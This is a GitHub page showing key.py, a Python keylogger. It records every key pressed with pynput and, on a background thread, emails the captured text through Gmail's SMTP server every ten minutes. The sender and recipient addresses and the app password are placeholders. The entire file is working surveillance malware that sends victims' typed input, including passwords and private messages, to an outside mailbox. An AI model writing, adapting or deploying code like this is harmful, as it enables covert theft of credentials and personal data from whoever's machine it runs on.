-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkey.py
43 lines (37 loc) · 1.09 KB
/
key.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pynput.keyboard import Key, Listener
from threading import Thread
from time import sleep
import smtplib
target_char=""
def listen(key):
global target_char
try:
if Key==Key.backspace:
target_char = target_char[:-1]
elif key==Key.space:
target_char += " "
else:
target_char+= key.char
except Exception:
pass
def send():
global target_char
sender_mail="youremail" #your email
recv_mail="youremail" #your emeil
sender_password = "apppassword" #your app password
server=smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(sender_mail, sender_password)
print("succesfully login")
while True:
temp_value=target_char
target_char=""
if temp_value== '':
pass
else:
server.sendmail(sender_mail, recv_mail , temp_value)
print("data sended to xspy")
sleep(600) #wait
Thread= Thread(target=send)
Thread.start()
with Listener(on_press=listen)as key_listener:
key_listener.join()